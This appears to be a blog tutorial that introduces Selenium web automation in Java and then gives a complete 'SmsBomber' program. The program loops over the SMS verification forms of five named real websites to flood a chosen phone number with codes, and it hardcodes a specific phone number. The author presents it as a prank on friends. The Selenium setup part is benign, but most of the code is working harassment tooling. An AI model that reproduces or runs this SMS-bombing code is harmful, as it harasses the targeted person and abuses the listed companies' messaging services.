Teach you a prank

Selenium can realize web automation. What is web automation? For example, if we want to log in to Baidu, first enter the baidu website, then find the login button, enter the user name and password, and finally click login. This is a manual operation process. We can write the website address, login user name and password in the code, and then use selenium to automatically open the website, automatically click the button, automatically fill in the information, and automatically log in. We just need to run the program.

What the hell can this thing do? For example, in rush buying, start the program and click the rush buying button automatically. Isn't it faster than you click it manually? For example, automatically register / log in to websites (verification code is generally required during login / registration. If you use the same mobile phone number to register / log in to N websites, you will always send verification code. This is not a bomber).

To use selenium (taking java as an example), there are two steps:

  • Download the driver corresponding to the browser. Download address of each browser driver:

browser

drive

Google

http://chromedriver.storage.googleapis.com/index.html

Firefox

https://github.com/mozilla/geckodriver/releases/

IE

http://selenium-release.storage.googleapis.com/index.html

Microsoft Edge

https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/

opera

https://github.com/operasoftware/operachromiumdriver/releases

  • Import dependency:
<dependency>
    <groupId>org.seleniumhq.selenium</groupId>
    <artifactId>selenium-java</artifactId>
    <version>3.141.59</version>
</dependency>

Automatic login / registration website with selenium (bomber):

private void interface1(String phone) throws InterruptedException {
    System.setProperty("webdriver.chrome.driver", "The path of the driver you downloaded");
    WebDriver driver = new ChromeDriver();
    driver.get("http://caigou.51book.com/caigou/manage/designatedRegistryNewSignon.in");
    driver.findElement(By.id("cg_06")).sendKeys(phone);
    TimeUnit.SECONDS.sleep(1);
    driver.findElement(By.id("sendMSgBtu")).click();
    TimeUnit.SECONDS.sleep(1);
    driver.quit();
}
  • First, load driver;
  • new a driver and call the get method to open the web page you want to operate
  • Find the frame to be operated according to the element id and set the parameters to be filled

Enter phone number

What if that box doesn't have an id? You can also use By.className("className"), By.xpath("path"), etc.

Run the above method, you can automatically open the website, enter your mobile phone number and click send verification code.

Automatic acquisition of verification code

There are several other websites to obtain the verification code. The complete code is as follows:

public class SmsBomber {

    private static final String WEB_DRIVER = "webdriver.chrome.driver";
    private static final SmsBomber SMS_BOMBER = new SmsBomber();
    private SmsBomber() { }

    public static void run(String driverPath, String phone, int times){
        try {
            System.setProperty(WEB_DRIVER, driverPath);
            Class clazz = SmsBomber.class;
            for (int i=0; i<times; i++){
                Method[] methods = clazz.getDeclaredMethods();
                for (Method method : methods){
                    if (method.getName().contains("interface")){
                        method.invoke(SMS_BOMBER, phone);
                    }
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    // 51Book test passed
    private void interface1(String phone) throws InterruptedException {
        WebDriver driver = new ChromeDriver();
        driver.get("http://caigou.51book.com/caigou/manage/designatedRegistryNewSignon.in");
        driver.findElement(By.id("cg_06")).sendKeys(phone);
        TimeUnit.SECONDS.sleep(1);
        driver.findElement(By.id("sendMSgBtu")).click();
        TimeUnit.SECONDS.sleep(1);
        driver.quit();
    }

    // China Mobile test passed
    private void interface2(String phone) throws InterruptedException {
        WebDriver driver = new ChromeDriver();
        driver.get("https://login.10086.cn/login.html");
        driver.findElement(By.id("J_pc")).click();
        driver.findElement(By.id("sms_name")).sendKeys(phone);
        TimeUnit.SECONDS.sleep(1);
        driver.findElement(By.id("getSMSPwd1")).click();
        TimeUnit.SECONDS.sleep(1);
        driver.quit();
    }

    // Giant network test passed
    public void interface3(String phone) throws InterruptedException {
        WebDriver driver = new ChromeDriver();
        driver.get("http://reg.ztgame.com/");
        driver.findElement(By.xpath("/html/body/div/div[2]/div/div/form/div/input")).sendKeys(phone);
        TimeUnit.SECONDS.sleep(1);
        driver.findElement(By.xpath("/html/body/div/div[2]/div/div/form/div[2]/input[2]")).click();
        TimeUnit.SECONDS.sleep(1);
        driver.quit();
    }

    // Micro alliance test passed
    public void interface4(String phone) throws InterruptedException {
        WebDriver driver = new ChromeDriver();
        driver.get("https://account.weimob.com/register");
        driver.findElement(By.id("phone")).sendKeys(phone);
        TimeUnit.SECONDS.sleep(1);
        driver.findElement(By.xpath("/html/body/div[2]/div/form/div[3]/a")).click();
        TimeUnit.SECONDS.sleep(1);
        driver.quit();
    }

    // Mobile phone China test passed
    public void interface5(String phone) throws InterruptedException {
        WebDriver driver = new ChromeDriver();
        driver.get("http://passport.cnmo.com/register");
        driver.findElement(By.className("user")).sendKeys(phone);
        TimeUnit.SECONDS.sleep(1);
        driver.findElement(By.className("getmsCode")).click();
        TimeUnit.SECONDS.sleep(1);
        driver.quit();
    }

    public static void main(String[] args) {
        run("D:\\program\\selenium drive\\chrome\\chromedriver.exe", "15712954579", 10);
    }
}

Enter your mobile phone number and run the program. You will find that you will receive a lot of verification codes. You can make fun of your friend's mobile phone number. If you are not afraid of being beaten!

Posted on Mon, 29 Nov 2021 01:05:36 -0500 by zemerick